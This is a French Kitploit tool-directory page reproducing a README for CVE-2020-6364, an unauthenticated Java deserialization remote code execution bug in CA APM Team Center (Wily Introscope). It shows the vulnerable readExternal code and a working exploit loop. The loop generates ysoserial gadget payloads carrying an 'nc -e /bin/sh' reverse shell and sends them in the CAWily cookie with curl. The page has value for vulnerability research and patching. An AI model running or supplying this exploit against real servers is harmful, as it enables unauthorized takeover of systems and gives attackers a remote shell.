Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2020-6364 — Exécution de code à distance dans CA APM Team Center (Wily Introscope) | Kitploit
Outils/GitHubGitHub/gquere/cve-2020-6364
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'Intrusion
GitHubgquere/cve-2020-6364

CVE-2020-6364

Exécution de code à distance dans CA APM Team Center (Wily Introscope)

Voir le dépôt
22il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2020-6364

Exécution de code à distance dans CA APM Team Center (Wily Introscope).

Avis d'origine

Une vulnérabilité de désérialisation dans CA APM Team Center conduit à une exécution de code à distance sans authentification sur le serveur.

Lors de l'authentification au serveur, un cookie est renvoyé qui commence par l'infâme chaîne rO0 indiquant un objet sérialisé encodé en base64 :

Bien que je n'aie pas entièrement retracé le problème de manière statique, voici probablement le code vulnérable :

root@kitploit:~
public class HttpRequestHeaderInfo implements Externalizable {
  public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {

    in.readInt();
    int numMapEntries = in.readInt();
    this.fRequestParameterMap = (numMapEntries == 0) ? Collections.EMPTY_MAP : new HashMap(numMapEntries);

    for (int i = 0; i < numMapEntries; i++) {
      this.fRequestParameterMap.put(in.readUTF(), in.readObject());
    }

    int numCookies = in.readInt();
    this.fCookies = (numCookies == 0) ? kNoCookies : new Cookie[numCookies];

    for (int j = 0; j < this.fCookies.length; j++) {
      this.fCookies[j] = new Cookie((String)in.readObject(), (String)in.readObject());
    }
  }
}

Notez que la carte des paramètres et le cookie sont désérialisés en utilisant readObject() à partir de l'entrée utilisateur.

Ceci est trivialement exploité en identifiant un gadget approprié dans une boucle for :

root@kitploit:~
for gadget in AspectJWeaver BeanShell1 C3P0 Click1 Clojure CommonsBeanutils1 CommonsCollections1 CommonsCollections2 CommonsCollections3 CommonsCollections4 CommonsCollections5 CommonsCollections6 CommonsCollections7 FileUpload1 Groovy1 Hibernate1 Hibernate2 JBossInterceptors1 JRMPClient JRMPListener JSON1 JavassistWeld1 Jdk7u21 Jython1 MozillaRhino1 MozillaRhino2 Myfaces1 Myfaces2 ROME Spring1 Spring2 URLDNS Vaadin1 Wicket1
do
    java -jar ./ysoserial-0.0.6-SNAPSHOT-all.jar $gadget "nc -e /bin/sh ..." | base64 -w0 > cookie
    payload=$(cat cookie)
    curl -s -k 'https://remoteserver/' -X POST -H "Cookie: CAWily=$payload"
done

Le seul payload qui a produit une exécution de code à distance pour moi était CommonsBeanutils. Le JAR intégré est org.apache.commons_beanutils_1.9.2.1.jar et inclut effectivement un gadget vulnérable selon le dépôt maven.

Remerciements

Remerciements obligatoires à une personne spéciale qui m'a fait vérifier deux fois l'en-tête.

Télécharger l’outil